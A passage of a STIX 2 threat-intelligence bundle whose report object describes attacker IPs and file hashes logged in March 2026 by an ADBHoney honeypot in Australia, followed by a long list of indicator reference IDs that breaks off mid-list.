{
  "id": "bundle--a720941d-8cf1-45aa-a7dd-efc9b890d51a",
  "objects": [
    {
      "created": "2026-03-01T01:00:17.034Z",
      "created_by_ref": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "description": "Rolling monthly view for March 2026 of IPv4 addresses and file hashes observed by ADBHoney on a T-Pot honeypot. Each run looks back the last 1h and appends newly seen indicators for this month. Location: Australia.",
      "id": "report--a720941d-8cf1-45aa-a7dd-efc9b890d51a",
      "labels": [
        "threat-report"
      ],
      "modified": "2026-03-31T23:00:02.358Z",
      "name": "ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "object_refs": [
        "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
        "indicator--5b51f46b-84f5-4083-9c90-d36ed4dd1472",
        "indicator--364910b6-a5da-4b1a-a2a4-b56aa0a1c649",
        "indicator--08b1415a-9b43-448a-b793-9f2998843b87",
        "indicator--30a8200c-53fb-4fb1-9eb7-8a4fe58bd53b",
        "indicator--03051c73-3e09-404b-a8b4-cf3e80bb9cfc",
        "indicator--fbedbd12-88ff-416c-83bc-c4ae61ea5502",
        "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
        "indicator--f07854da-10ee-4f9e-834e-e1ea1cc78d92",
        "indicator--364910b6-a5da-4b1a-a2a4-b56aa0a1c649",
        "indicator--08b1415a-9b43-448a-b793-9f2998843b87",
        "indicator--30a8200c-53fb-4fb1-9eb7-8a4fe58bd53b",
        "indicator--03051c73-3e09-404b-a8b4-cf3e80bb9cfc",
        "indicator--fbedbd12-88ff-416c-83bc-c4ae61ea5502",
        "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
        "indicator--f07854da-10ee-4f9e-834e-e1ea1cc78d92",
        "indicator--a895c44a-771a-433a-9e4a-ded377a5971f",
        "indicator--a895c44a-771a-433a-9e4a-ded377a5971f",
        "indicator--56f863a3-aec5-497e-994a-7e53499a0c73",
        "indicator--5d258973-af2a-4d2e-a25d-6f859c551c86",
        "indicator--56f863a3-aec5-497e-994a-7e53499a0c73",
        "indicator--5d258973-af2a-4d2e-a25d-6f859c551c86",
        "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
        "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
        "indicator--f15433ca-ea71-4e3a-a813-05671a711164",
        "indicator--f15433ca-ea71-4e3a-a813-05671a711164",
        "indicator--22b7c063-1c4a-4e37-94be-71f9902d2ef8",
        "indicator--22b7c063-1c4a-4e37-94be-71f9902d2ef8",
        "indicator--d4d2d010-d546-4266-9634-71c46fecd6c8",
        "indicator--d4d2d010-d546-4266-9634-71c46fecd6c8",
        "indicator--65dcc46c-8aa0-4658-8945-3d279ba0358b",
        "indicator--f1c04873-7208-4f7a-8d22-ad5028350d27",
        "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
        "indicator--65dcc46c-8aa0-4658-8945-3d279ba0358b",
        "indicator--f1c04873-7208-4f7a-8d22-ad5028350d27",
        "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
        "indicator--59ba6205-4dfa-4873-a6fa-399c576b880b",
        "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
        "indicator--59ba6205-4dfa-4873-a6fa-399c576b880b",
        "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
        "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
        "indicator--fba3ec24-af2e-45fb-83f8-b17c6a6c6338",
        "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
        "indicator--fba3ec24-af2e-45fb-83f8-b17c6a6c6338",
        "indicator--96e30487-9b43-46bb-8b55-5b38c98eb72b",
        "indicator--3cf770d5-f243-438f-82ce-80499fde3507",
        "indicator--96e30487-9b43-46bb-8b55-5b38c98eb72b",
        "indicator--3cf770d5-f243-438f-82ce-80499fde3507",
        "indicator--c935bc0e-0229-4610-9368-1621c880c6b8",
        "indicator--c935bc0e-0229-4610-9368-1621c880c6b8",
        "indicator--6e62b77e-6014-4e5f-af7f-e3ff29a73d5e",
        "indicator--6e62b77e-6014-4e5f-af7f-e3ff29a73d5e",
        "indicator--4ce44850-fe1e-48c6-8334-9a0c45fc7df1",
        "indicator--4ce44850-fe1e-48c6-8334-9a0c45fc7df1",
        "indicator--67c9e447-5141-4d8c-b5d3-233242e7218e",
        "indicator--f862750a-1364-4ac3-8d4a-d0cb0fca9f7d",
        "indicator--67c9e447-5141-4d8c-b5d3-233242e7218e",
        "indicator--f862750a-1364-4ac3-8d4a-d0cb0fca9f7d",
        "indicator--b871203a-a51f-4bea-966e-da20874dd071",
        "indicator--b6b15a88-9636-484b-8085-349f6c289146",
        "indicator--c289dc18-dd74-4913-91ed-9f9c53358ca0",
        "indicator--9205d20c-c204-4ff7-9d2f-95a250356485",
        "indicator--b871203a-a51f-4bea-966e-da20874dd071",
        "indicator--b6b15a88-9636-484b-8085-349f6c289146",
        "indicator--c289dc18-dd74-4913-91ed-9f9c53358ca0",
        "indicator--9205d20c-c204-4ff7-9d2f-95a250356485",
        "indicator--efd8853b-fafb-4512-bbb6-1ae07d1d64fd",
        "indicator--9ced41e6-47a3-46d1-b535-250292f1ee0a",
        "indicator--efd8853b-fafb-4512-bbb6-1ae07d1d64fd",
        "indicator--9ced41e6-47a3-46d1-b535-250292f1ee0a",
        "indicator--31820020-01af-4565-9402-164c275ad5df",
        "indicator--459ab818-b9ec-4179-873c-b7a6d279ebca",
        "indicator--89892f13-9238-4e1d-a526-87712c1f7e9d",
        "indicator--af73cc57-59ed-40a7-8fd4-c2a85fd31780",
        "indicator--5c5c9721-40ce-4e9e-8254-7827fae81c0e",
        "indicator--6b1b68f3-1dad-4432-ab40-fc197fd238b4",
        "indicator--31820020-01af-4565-9402-164c275ad5df",
        "indicator--459ab818-b9ec-4179-873c-b7a6d279ebca",
        "indicator--89892f13-9238-4e1d-a526-87712c1f7e9d",
        "indicator--af73cc57-59ed-40a7-8fd4-c2a85fd31780",
        "indicator--5c5c9721-40ce-4e9e-8254-7827fae81c0e",
        "indicator--6b1b68f3-1dad-4432-ab40-fc197fd238b4",
        "indicator--edc8e3b6-7ddd-4766-892f-b73cec5fa545",
        "indicator--edc8e3b6-7ddd-4766-892f-b73cec5fa545",
        "indicator--9c822a0a-3bc4-42ce-83fd-887b73999867",
        "indicator--9c822a0a-3bc4-42ce-83fd-887b73999867",
        "indicator--4d1892c9-d710-46f3-ace1-af86a3c3923b",
        "indicator--38ec0345-51da-4144-9816-545b366fb01a",
        "indicator--eaebd6c9-3be1-450a-b46e-304875015596",
        "indicator--4d1892c9-d710-46f3-ace1-af86a3c3923b",
        "indicator--38ec0345-51da-4144-9816-545b366fb01a",
        "indicator--eaebd6c9-3be1-450a-b46e-304875015596",
        "indicator--8537b2c7-44d4-4359-bf3c-eff2a161f009",
        "indicator--bec2ae71-008c-4817-b13e-15771d14849d",
        "indicator--8537b2c7-44d4-4359-bf3c-eff2a161f009",
        "indicator--bec2ae71-008c-4817-b13e-15771d14849d",
        "indicator--abfd0e46-79c8-4339-b519-0604961e6669",
        "indicator--f2ec1bda-ad99-4911-ab8e-5f7c38216e0b",
        "indicator--ec3df7e5-e660-4c6e-9a60-60d7ee8ac11d",
        "indicator--abfd0e46-79c8-4339-b519-0604961e6669",
        "indicator--f2ec1bda-ad99-4911-ab8e-5f7c38216e0b",
        "indicator--ec3df7e5-e660-4c6e-9a60-60d7ee8ac11d",
        "indicator--62b39fb0-4126-4cfa-bfad-ddde93673c93",
        "indicator--86714b6a-2bd8-4d2c-b1bd-14b75bae4aa8",
        "indicator--62b39fb0-4126-4cfa-bfad-ddde93673c93",
        "indicator--86714b6a-2bd8-4d2c-b1bd-14b75bae4aa8",
        "indicator--e7026731-151f-4e69-b0cc-d5e3e4dd4711",
        "indicator--e7026731-151f-4e69-b0cc-d5e3e4dd4711",
        "indicator--1b43aaed-8b76-45a2-a4fe-15b1c65c4bc3",
        "indicator--1b43aaed-8b76-45a2-a4fe-15b1c65c4bc3",
        "indicator--e2f23984-6a6d-480c-9808-5d45553dc0aa",
        "indicator--bab4db3b-42ec-4392-8b6c-2a0c490d352a",
        "indicator--6454d4f8-0f2c-4800-bc7e-6ce185415b3e",
        "indicator--788e1e14-6fe0-4aae-9c18-86cbb7f2474b",
        "indicator--bab4db3b-42ec-4392-8b6c-2a0c490d352a",
        "indicator--6454d4f8-0f2c-4800-bc7e-6ce185415b3e",
        "indicator--788e1e14-6fe0-4aae-9c18-86cbb7f2474b",
        "indicator--071d8ad7-7da7-4ebd-8a9c-079ca8e5120a",
        "indicator--071d8ad7-7da7-4ebd-8a9c-079ca8e5120a",
        "indicator--ab548dea-6e91-4796-bd9b-83a841149d78",
        "indicator--ab548dea-6e91-4796-bd9b-83a841149d78",
        "indicator--fbcaa349-6cc2-4892-a72a-77b0ca08f4e5",
        "indicator--40896853-3009-47fd-a6f0-e87fec45e6da",
        "indicator--e09d3de7-9d20-4a54-a20b-0e9f3af959d6",
        "indicator--e09d3de7-9d20-4a54-a20b-0e9f3af959d6",
        "indicator--245563b2-b937-4a67-a941-e39a5a65ea3f",
        "indicator--5e6595e4-7af2-4c2e-a4c4-d0bf4e60a7c4",
        "indicator--502473cf-ad49-4840-b05d-a51cf39c3dd6",
        "indicator--245563b2-b937-4a67-a941-e39a5a65ea3f",
        "indicator--5e6595e4-7af2-4c2e-a4c4-d0bf4e60a7c4",
        "indicator--502473cf-ad49-4840-b05d-a51cf39c3dd6",
        "indicator--970081b5-d28e-49ca-8bf1-5eeea693dd54",
        "indicator--e52f12ce-e95f-403f-bcf7-9b3db2211858",
        "indicator--dd04dd0d-d376-449a-876e-45193bd14ed3",
        "indicator--89dc8eb2-0974-4b44-a068-0e51c0585a86",
        "indicator--970081b5-d28e-49ca-8bf1-5eeea693dd54",
        "indicator--e52f12ce-e95f-403f-bcf7-9b3db2211858",
        "indicator--dd04dd0d-d376-449a-876e-45193bd14ed3",
        "indicator--89dc8eb2-0974-4b44-a068-0e51c0585a86",
        "indicator--2e6d7d5c-6b5a-44cb-b56c-fc1cf3692627",
        "indicator--2e6d7d5c-6b5a-44cb-b56c-fc1cf3692627",
        "indicator--425e2159-64ff-4470-a82f-c229e7ab68f4",
        "indicator--425e2159-64ff-4470-a82f-c229e7ab68f4",
        "indicator--9ccf10dd-c78f-4e75-a87a-76bf3cc0163c",
        "indicator--9ccf10dd-c78f-4e75-a87a-76bf3cc0163c",
        "indicator--3d7a4bba-69e3-467e-a2c0-d3a9eb92c54c",
        "indicator--a5fc004f-05a7-45ca-96ee-057817fbf7f9",
        "indicator--dcbef8fd-c501-4465-865f-3c0640147821",
        "indicator--2878dede-2238-4cdf-9ef0-53b7d6c54cb5",
        "indicator--a5fc004f-05a7-45ca-96ee-057817fbf7f9",
        "indicator--dcbef8fd-c501-4465-865f-3c0640147821",
        "indicator--2878dede-2238-4cdf-9ef0-53b7d6c54cb5",
        "indicator--cafe4e16-3299-4fad-9a0d-6e1bf4aac32f",
        "indicator--16634afe-7da3-4411-af3d-ca26795927d8",
        "indicator--b2500ab2-f8ed-49a0-9040-866f5b7af308",
        "indicator--cafe4e16-3299-4fad-9a0d-6e1bf4aac32f",
        "indicator--16634afe-7da3-4411-af3d-ca26795927d8",
        "indicator--b2500ab2-f8ed-49a0-9040-866f5b7af308",
        "indicator--17278fc2-3848-44a7-b272-635353b80321",
        "indicator--4dd252d9-9881-4ec0-af5f-89051bf7a8ed",
        "indicator--58e17b6d-74e4-4542-8948-483e6b703ec6",
        "indicator--bbea3253-ef40-4802-bd0b-cbeb0d11153c",
        "indicator--72887506-e7dc-434c-aac3-74e510ab0e9a",
        "indicator--0e293095-12bd-4b72-9adb-9314997a30d8",
        "indicator--0e293095-12bd-4b72-9adb-9314997a30d8",
        "indicator--ededb0c7-e129-4e12-abf9-36c2c7cc8435",
        "indicator--f38d2ccc-9c3a-47f9-8d5e-6ecd8c313b9e",
        "indicator--06570ac9-5efe-4257-9df5-d1eea938349c",
        "indicator--ededb0c7-e129-4e12-abf9-36c2c7cc8435",
        "indicator--f38d2ccc-9c3a-47f9-8d5e-6ecd8c313b9e",
        "indicator--06570ac9-5efe-4257-9df5-d1eea938349c",
        "indicator--adeb6e10-d97e-4be1-adf4-5d9b595f5c49",
        "indicator--20257fdd-11cc-44f4-999d-28670cdf2b7f",
        "indicator--0359502d-e5ed-4c7d-bfdc-3d082bb35b47",
        "indicator--87f07a90-eb9a-4f03-b54b-f3710e26681f",
        "indicator--adeb6e10-d97e-4be1-adf4-5d9b595f5c49",
        "indicator--20257fdd-11cc-44f4-999d-28670cdf2b7f",
        "indicator--0359502d-e5ed-4c7d-bfdc-3d082bb35b47",
        "indicator--87f07a90-eb9a-4f03-b54b-f3710e26681f",
        "indicator--0384b633-48d6-4425-b6b6-2e9c20ebe6cb",
        "indicator--0384b633-48d6-4425-b6b6-2e9c20ebe6cb",
        "indicator--43dccc36-6535-4678-a6bc-4e7d71430430",
        "indicator--1b096290-cd30-4bf5-982b-5f61b05af088",
        "indicator--ea01a56c-483c-465c-a680-6e7b4b6af095",
        "indicator--43dccc36-6535-4678-a6bc-4e7d71430430",
        "indicator--1b096290-cd30-4bf5-982b-5f61b05af088",
        "indicator--ea01a56c-483c-465c-a680-6e7b4b6af095",
        "indicator--d288979a-dbe9-47aa-9918-c26d936fc233",
        "indicator--d288979a-dbe9-47aa-9918-c26d936fc233",
        "indicator--36393dfb-2242-4f86-a294-5afb400db052",
        "indicator--d0e50b40-1aa4-4555-87e1-6cc0cff846a9",
        "indicator--e9297c02-a45b-4c2a-9ba6-642c98b2619d",
        "indicator--a93b224a-cb53-40db-af76-8ae70c46abe3",
        "indicator--36393dfb-2242-4f86-a294-5afb400db052",
        "indicator--d0e50b40-1aa4-4555-87e1-6cc0cff846a9",
        "indicator--e9297c02-a45b-4c2a-9ba6-642c98b2619d",
        "indicator--a93b224a-cb53-40db-af76-8ae70c46abe3",
        "indicator--8dcdf15c-2831-4c0b-b009-318b5b801953",
        "indicator--c6781ba7-f62a-4687-ba7d-a73ad886309c",
        "indicator--8dcdf15c-2831-4c0b-b009-318b5b801953",
        "indicator--c6781ba7-f62a-4687-ba7d-a73ad886309c",
        "indicator--506fda16-4386-444b-87a1-32533aee0f29",
        "indicator--506fda16-4386-444b-87a1-32533aee0f29",
        "indicator--45c8c380-668e-4e49-a300-a4de10101dad",
        "indicator--45c8c380-668e-4e49-a300-a4de10101dad",
        "indicator--59edc0ea-6f81-4be0-bb7e-a0109615a167",
        "indicator--59edc0ea-6f81-4be0-bb7e-a0109615a167",
        "indicator--f37c7241-c366-4e6e-abd6-b9f5bae15b04",
        "indicator--f37c7241-c366-4e6e-abd6-b9f5bae15b04",
        "indicator--910bbc44-fa2c-49ab-8055-3a550a4bf746",
        "indicator--910bbc44-fa2c-49ab-8055-3a550a4bf746",
        "indicator--cfc8da2e-8ba8-4eef-901d-085927be0927",
        "indicator--cfc8da2e-8ba8-4eef-901d-085927be0927",
        "indicator--801bea5f-58ee-492e-a82a-bbfdd973810d",
        "indicator--801bea5f-58ee-492e-a82a-bbfdd973810d",
        "indicator--337c33df-2928-4a9c-bd57-a08a45384979",
        "indicator--db75d633-ecf4-40f4-82d4-9210760eabad",
        "indicator--61940e62-b73a-442b-bc78-7b518eef5566",
        "indicator--337c33df-2928-4a9c-bd57-a08a45384979",
        "indicator--db75d633-ecf4-40f4-82d4-9210760eabad",
        "indicator--61940e62-b73a-442b-bc78-7b518eef5566",
        "indicator--7bd5025b-a735-49cd-9dc8-a32a7fc57076",
        "indicator--7bd5025b-a735-49cd-9dc8-a32a7fc57076",
        "indicator--db1329b7-2e14-4a8e-a68a-c60ba5107d00",
        "indicator--0697e1b9-ce52-4ae6-b703-a9dcfa7e5f75",
        "indicator--2b940ee0-63bc-4358-b94e-6ec30d94afb2",
        "indicator--db1329b7-2e14-4a8e-a68a-c60ba5107d00",
        "indicator--0697e1b9-ce52-4ae6-b703-a9dcfa7e5f75",
        "indicator--2b940ee0-63bc-4358-b94e-6ec30d94afb2",
        "indicator--321dfa84-7d1e-444e-a4f9-119efe19c806",
        "indicator--321dfa84-7d1e-444e-a4f9-119efe19c806",
        "indicator--f166f4f5-6cc7-471a-b417-9fae31f3eb43",
        "indicator--f166f4f5-6cc7-471a-b417-9fae31f3eb43",
        "indicator--213793c6-fb00-4dcf-85b0-588016536a46",
        "indicator--213793c6-fb00-4dcf-85b0-588016536a46",
        "indicator--fa34f966-8202-4822-9113-d6d8c76d26e0",
        "indicator--4c590774-1287-49d7-a9e6-111714545876",
        "indicator--e29e101d-fdf4-4203-8e33-c5ae2856157f",
        "indicator--0114f5fa-0e8f-4a80-8f2d-a79c041c53c7",
        "indicator--da93830c-4cae-4186-a33e-f46f3d9bd209",
        "indicator--3323033d-4e01-443d-b8f1-063c09cc3d9d",
        "indicator--3323033d-4e01-443d-b8f1-063c09cc3d9d",
        "indicator--60da2ccf-5ef2-4d2c-bf88-a40d19ac1fad",
        "indicator--60da2ccf-5ef2-4d2c-bf88-a40d19ac1fad",
        "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
        "indicator--e59228c0-b29b-47cd-b605-891a6d6e18d8",
        "indicator--2a7e6953-10cb-489d-b6fb-0d09fbfed377",
        "indicator--4385a455-a401-4d77-9ea0-a32e8ac83c12",
        "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
        "indicator--e59228c0-b29b-47cd-b605-891a6d6e18d8",
        "indicator--2a7e6953-10cb-489d-b6fb-0d09fbfed377",
        "indicator--4385a455-a401-4d77-9ea0-a32e8ac83c12",
        "indicator--d5457d6f-5385-4416-8d95-608588706a5b",
        "indicator--d5457d6f-5385-4416-8d95-608588706a5b",
        "indicator--ebbed773-6c53-4c94-8015-47b015f1dcef",
        "indicator--97ec4cc0-a47f-42da-b216-5e53e15d3077",
        "indicator--aab783ee-ba73-4566-9e3e-7a4a197f3536",
        "indicator--d76041f9-e0b7-4cbc-be50-0f2adf94d3db",
        "indicator--f10cbed5-d0ed-4ada-90a3-e8d99d3c5404",
        "indicator--5eb66a91-d2e2-4875-ab7e-02eb06af0937",
        "indicator--5eb66a91-d2e2-4875-ab7e-02eb06af0937",
        "indicator--9c94e1a1-73e4-4034-aa8c-0e92d3e37975",
        "indicator--87b729c3-0a16-478c-ae71-20a776fe9acb",
        "indicator--da507950-a9ce-46b4-b0f5-189c4db90778",
        "indicator--2a38204a-0727-43c2-bfe8-c21bd1ce8271",
        "indicator--da507950-a9ce-46b4-b0f5-189c4db90778",
        "indicator--2a38204a-0727-43c2-bfe8-c21bd1ce8271",
        "indicator--d2aeb56a-136d-4315-a5f6-f3ec2deb75ce",
        "indicator--d2aeb56a-136d-4315-a5f6-f3ec2deb75ce",
        "indicator--bd0d852f-8de9-4372-9fd4-6d4e0bf346ab",
        "indicator--e701ab2b-a464-4cf2-85c6-154c3d7464a7",
        "indicator--bd0d852f-8de9-4372-9fd4-6d4e0bf346ab",
        "indicator--e701ab2b-a464-4cf2-85c6-154c3d7464a7",
        "indicator--10c785ad-b1aa-40d9-8c3b-01ccc59f1c6c",
        "indicator--10c785ad-b1aa-40d9-8c3b-01ccc59f1c6c",
        "indicator--8c58baa8-784f-4a8f-82f6-86a466d587e4",
        "indicator--626101c2-7da7-4096-bfc5-a3dcbe03a3fd",
        "indicator--8c58baa8-784f-4a8f-82f6-86a466d587e4",
        "indicator--626101c2-7da7-4096-bfc5-a3dcbe03a3fd",
        "indicator--b90e2630-c5d1-42e3-b2db-758804375546",
        "indicator--8ff416d8-6844-44c3-8ea5-6fa5dd0366e1",
        "indicator--8ff416d8-6844-44c3-8ea5-6fa5dd0366e1",
        "indicator--a27aece6-baef-4185-b4f9-9adc23894a28",
        "indicator--a27aece6-baef-4185-b4f9-9adc23894a28",
        "indicator--855f4b52-79d5-49fe-a8dc-cf05d0eaa8ce",
        "indicator--0f224ef0-aa40-4c39-9c36-1253c5c63ad8",
        "indicator--855f4b52-79d5-49fe-a8dc-cf05d0eaa8ce",
        "indicator--0f224ef0-aa40-4c39-9c36-1253c5c63ad8",
        "indicator--160feddb-da68-4cb5-a9ca-7ac434f70c0d",
        "indicator--160feddb-da68-4cb5-a9ca-7ac434f70c0d",
        "indicator--54859a43-5855-464f-856c-cdc7021c42e6",
        "indicator--9b287290-6c52-4ed2-8d8e-1782c391e1e0",
        "indicator--6ca3c34e-8324-416b-830e-453c01ce3193",
        "indicator--9040bedb-157f-45a2-9e2f-a7cd7de3b575",
        "indicator--ca0b2352-c13d-4fff-a2c2-efe0bc09a332",
        "indicator--46c7930b-81b7-42fa-b84a-a6848c768eed",
        "indicator--ca0b2352-c13d-4fff-a2c2-efe0bc09a332",
        "indicator--46c7930b-81b7-42fa-b84a-a6848c768eed",
        "indicator--d1439f59-be31-4c93-88a6-01abfd32f3c0",
        "indicator--d1439f59-be31-4c93-88a6-01abfd32f3c0",
        "indicator--bf86e7d9-9a76-4630-99cf-3e33626e11fa",
        "indicator--17f0557e-2305-4677-929d-05b8df41024a",
        "indicator--22dc9c35-4660-481d-b383-54d64c9e88a0",
        "indicator--22dc9c35-4660-481d-b383-54d64c9e88a0",
        "indicator--1f0d0881-3504-4527-b351-c8c7539220a8",
        "indicator--e8848e25-7800-43de-aff6-217b859228f2",
        "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
        "indicator--e2666dd9-cd01-4c2d-b5cd-142a1cd1cf2a",
        "indicator--e8848e25-7800-43de-aff6-217b859228f2",
        "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
        "indicator--e2666dd9-cd01-4c2d-b5cd-142a1cd1cf2a",
        "indicator--38971095-3b51-4c99-bf05-5036f1c7160e",
        "indicator--56b7b4ba-f5c2-45cc-8f1c-957ea03a6816",
        "indicator--38971095-3b51-4c99-bf05-5036f1c7160e",
        "indicator--56b7b4ba-f5c2-45cc-8f1c-957ea03a6816",
        "indicator--565e559c-5135-46e3-9adb-2d5e626383ce",
        "indicator--565e559c-5135-46e3-9adb-2d5e626383ce",
        "indicator--7cd29cf1-b1a8-44c4-aede-6f8d7d592b2d",
        "indicator--7cd29cf1-b1a8-44c4-aede-6f8d7d592b2d",
        "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
        "indicator--e495fd58-9b90-45fb-b851-25e7379637ac",
        "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
        "indicator--e495fd58-9b90-45fb-b851-25e7379637ac",
        "indicator--3d1d9249-3bf9-4c49-b502-f68c18e7f55b",
        "indicator--bdea16f6-611f-4ba0-b5c0-15b404c70405",
        "indicator--3d1d9249-3bf9-4c49-b502-f68c18e7f55b",
        "indicator--bdea16f6-611f-4ba0-b5c0-15b404c70405",
        "indicator--b8ce32ac-dfec-49eb-a4d6-1c075f786ffe",
        "indicator--b8ce32ac-dfec-49eb-a4d6-1c075f786ffe",
        "indicator--7ea7f6e6-a579-4feb-ba8e-78a55c1fc66f",
        "indicator--4b5357d5-7fe9-4243-8542-3fa38a074791",
        "indicator--7ea7f6e6-a579-4feb-ba8e-78a55c1fc66f",
        "indicator--4b5357d5-7fe9-4243-8542-3fa38a074791",
        "indicator--df7b989f-6927-4260-b0b3-230196ca09dd",
        "indicator--df7b989f-6927-4260-b0b3-230196ca09dd",
        "indicator--379b7257-8460-4140-b7ee-dbf1374bb1fc",
        "indicator--431688ca-21b6-44a0-b979-f4bda5064575",
        "indicator--379b7257-8460-4140-b7ee-dbf1374bb1fc",
        "indicator--431688ca-21b6-44a0-b979-f4bda5064575",
        "indicator--212a8b77-78bb-467c-8a1e-dc25d13a1ef5",
        "indicator--212a8b77-78bb-467c-8a1e-dc25d13a1ef5",
        "indicator--75e5ced2-b196-4b36-8a04-5c4a88c6ebd2",
        "indicator--f36f08f4-dae9-4351-8ff3-3a5cb2ad0250",
        "indicator--ccfd7306-5151-4d6d-a08f-70c45837b184",
        "indicator--75e5ced2-b196-4b36-8a04-5c4a88c6ebd2",
        "indicator--f36f08f4-dae9-4351-8ff3-3a5cb2ad0250",
        "indicator--ccfd7306-5151-4d6d-a08f-70c45837b184",
        "indicator--07fe4790-1cb1-4222-8d0e-879a93006778",
        "indicator--7201b34b-d235-4c20-bb64-16c94298a0ed",
        "indicator--07fe4790-1cb1-4222-8d0e-879a93006778",
        "indicator--7201b34b-d235-4c20-bb64-16c94298a0ed",
        "indicator--45b95fb3-bc2f-4b01-87e9-daa5cc92a5c6",
        "indicator--edbd0d4f-f6f2-4a8d-8cb6-7a87724fa014",
        "indicator--ebe4d0e3-68ed-434e-a150-e60f220c8cf1",
        "indicator--45b95fb3-bc2f-4b01-87e9-daa5cc92a5c6",
        "indicator--edbd0d4f-f6f2-4a8d-8cb6-7a87724fa014",
        "indicator--ebe4d0e3-68ed-434e-a150-e60f220c8cf1",
        "indicator--1729efea-9110-4014-b214-d32b03e11334",
        "indicator--1729efea-9110-4014-b214-d32b03e11334",
        "indicator--bd6ad2cf-5c19-45e1-8a31-cc82ac4726d3",
        "indicator--bd6ad2cf-5c19-45e1-8a31-cc82ac4726d3",
        "indicator--5f6fb5d8-ce28-424e-bb38-745c9d7dc37d",
        "indicator--5f6fb5d8-ce28-424e-bb38-745c9d7dc37d",
        "indicator--b8690fcd-f7c1-48c8-a266-2ea0bea70d6b",
        "indicator--9f0c0581-4492-4bc8-90a9-6fda960bc7a8",
        "indicator--b8690fcd-f7c1-48c8-a266-2ea0bea70d6b",
        "indicator--9f0c0581-4492-4bc8-90a9-6fda960bc7a8",
        "indicator--0a6c8b19-290f-47da-9760-f1552be5820b",
        "indicator--0a6c8b19-290f-47da-9760-f1552be5820b",
        "indicator--452385b4-1786-4952-8a4f-91d60e3462be",
        "indicator--452385b4-1786-4952-8a4f-91d60e3462be",
        "indicator--800b70ce-9151-43bd-89de-321e28f62964",
        "indicator--800b70ce-9151-43bd-89de-321e28f62964",
        "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
        "indicator--b0705290-1c18-49de-9422-f9de069480d0",
        "indicator--87f696c0-d7fb-4a22-98ff-baad3862f1fe",
        "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
        "indicator--b0705290-1c18-49de-9422-f9de069480d0",
        "indicator--87f696c0-d7fb-4a22-98ff-baad3862f1fe",
        "indicator--64f512f2-12ad-44a9-beab-93976a275324",
        "indicator--528a579a-1c4e-4e83-abf4-7386e18615ee",
        "indicator--64f512f2-12ad-44a9-beab-93976a275324",
        "indicator--528a579a-1c4e-4e83-abf4-7386e18615ee",
        "indicator--4e13e172-542e-44cc-8ad8-f239507216b2",
        "indicator--1d9c109e-277b-42f3-be7e-b6933aa5731f",
        "indicator--4e13e172-542e-44cc-8ad8-f239507216b2",
        "indicator--1d9c109e-277b-42f3-be7e-b6933aa5731f",
        "indicator--45a2c687-8c21-4fb1-b64a-37d9aaf716aa",
        "indicator--45a2c687-8c21-4fb1-b64a-37d9aaf716aa",
        "indicator--d1bdf4fa-03c3-4425-84f1-b38adfffeec7",
        "indicator--3c6c2587-0ea4-4908-ae81-7a99057dc4ac",
        "indicator--3c6c2587-0ea4-4908-ae81-7a99057dc4ac",
        "indicator--49a8e3fa-bdb4-4d42-93be-32d73086c8f2",
        "indicator--5fb6d65f-52d0-48a8-8e66-7c017a376244",
        "indicator--137b29b5-e297-43ce-a988-6dca1b0e2c7d",
        "indicator--49a8e3fa-bdb4-4d42-93be-32d73086c8f2",
        "indicator--5fb6d65f-52d0-48a8-8e66-7c017a376244",
        "indicator--137b29b5-e297-43ce-a988-6dca1b0e2c7d",
        "indicator--b1dfbf52-b04f-4737-8d7b-4d855e85417b",
        "indicator--b1dfbf52-b04f-4737-8d7b-4d855e85417b",
        "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
        "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
        "indicator--80a81e52-7c3d-4d97-ac2c-0fec7cf52961",
        "indicator--80a81e52-7c3d-4d97-ac2c-0fec7cf52961",
        "indicator--19294839-46ae-4362-a12e-44277ec9470d",
        "indicator--19294839-46ae-4362-a12e-44277ec9470d",
        "indicator--a544a7b2-ee0b-4afa-b9b0-23a08673a089",
        "indicator--8b106023-17ea-4b9e-b2aa-c2c83db4be61",
        "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
        "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
        "indicator--7777d742-673f-4f89-966d-c23647ca8bd9",
        "indicator--7777d742-673f-4f89-966d-c23647ca8bd9",
        "indicator--adc0b2d7-8dc3-424f-b0a0-d22aebc3ee1c",
        "indicator--adc0b2d7-8dc3-424f-b0a0-d22aebc3ee1c",
        "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
        "indicator--c7a32d0f-45e0-429a-8dee-087cb3e004de",
        "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
        "indicator--c7a32d0f-45e0-429a-8dee-087cb3e004de",
        "indicator--8faf1ea2-dd49-499e-b52b-9b42dc11928b",
        "indicator--8faf1ea2-dd49-499e-b52b-9b42dc11928b",
        "indicator--a213eeb8-2f8b-47f6-9ce9-7eaa1e015764",
        "indicator--b0a2c041-a286-4443-9375-212b4f3c80bc",
        "indicator--be36b9a1-9049-4919-b904-9884df3c4d1d",
        "indicator--e144f8d7-9ba7-448e-ad7e-1ec66d9ad4d9",
        "indicator--a213eeb8-2f8b-47f6-9ce9-7eaa1e015764",
        "indicator--b0a2c041-a286-4443-9375-212b4f3c80bc",
        "indicator--be36b9a1-9049-4919-b904-9884df3c4d1d",
        "indicator--e144f8d7-9ba7-448e-ad7e-1ec66d9ad4d9",
        "indicator--5607362d-1a85-4dde-a180-9407fa276198",
